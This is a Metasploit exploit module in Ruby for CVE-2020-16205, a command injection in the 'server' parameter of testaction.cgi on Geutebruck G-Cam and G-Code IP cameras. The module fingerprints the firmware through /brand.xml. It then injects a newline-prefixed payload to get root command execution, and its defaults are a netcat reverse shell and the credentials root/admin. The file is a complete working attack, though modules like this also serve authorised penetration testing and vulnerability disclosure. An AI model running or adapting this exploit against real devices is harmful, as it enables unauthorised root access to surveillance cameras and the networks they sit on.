## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Geutebruck testaction.cgi Remote Command Execution', 'Description' => %q{ This module exploits an authenticated arbitrary command execution vulnerability within the 'server' GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'. Successful exploitation results in remote code execution as the root user. }, 'Author' => [ 'Davy Douhine' # ddouhine ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2020-16205' ], [ 'URL', 'http://geutebruck.com' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ], [ 'URL', 'https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/' ] ], 'DisclosureDate' => 'May 20 2020', 'Privileged' => true, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_ARMLE], 'Targets' => [ [ 'Automatic Target', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } ) ) register_options( [ OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'root' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptString.new('TARGETURI', [true, 'The path to the testaction page', '/uapi-cgi/admin/testaction.cgi']), ] ) end def firmware begin res = send_request_cgi( 'method' => 'GET', 'uri' => '/brand.xml' ) unless res vprint_error 'Connection failed' return CheckCode::Unknown end res_xml = res.get_xml_document @version = res_xml.at('//firmware').text return true end end def check result = firmware return result unless result == true version = Gem::Version.new(@version) vprint_status "Found Geutebruck version #{version}" if version < Gem::Version.new('1.12.0.25') || version == Gem::Version.new('1.12.13.2') || version == Gem::Version.new('1.12.14.5') return CheckCode::Appears end CheckCode::Safe end def exploit print_status("#{rhost}:#{rport} - Attempting to exploit...") send_request_cgi( { 'method' => 'GET', 'uri' => target_uri.path, 'vars_get' => { 'type' => 'ntp', 'server' => "\n#{payload.encoded}" } } ) end end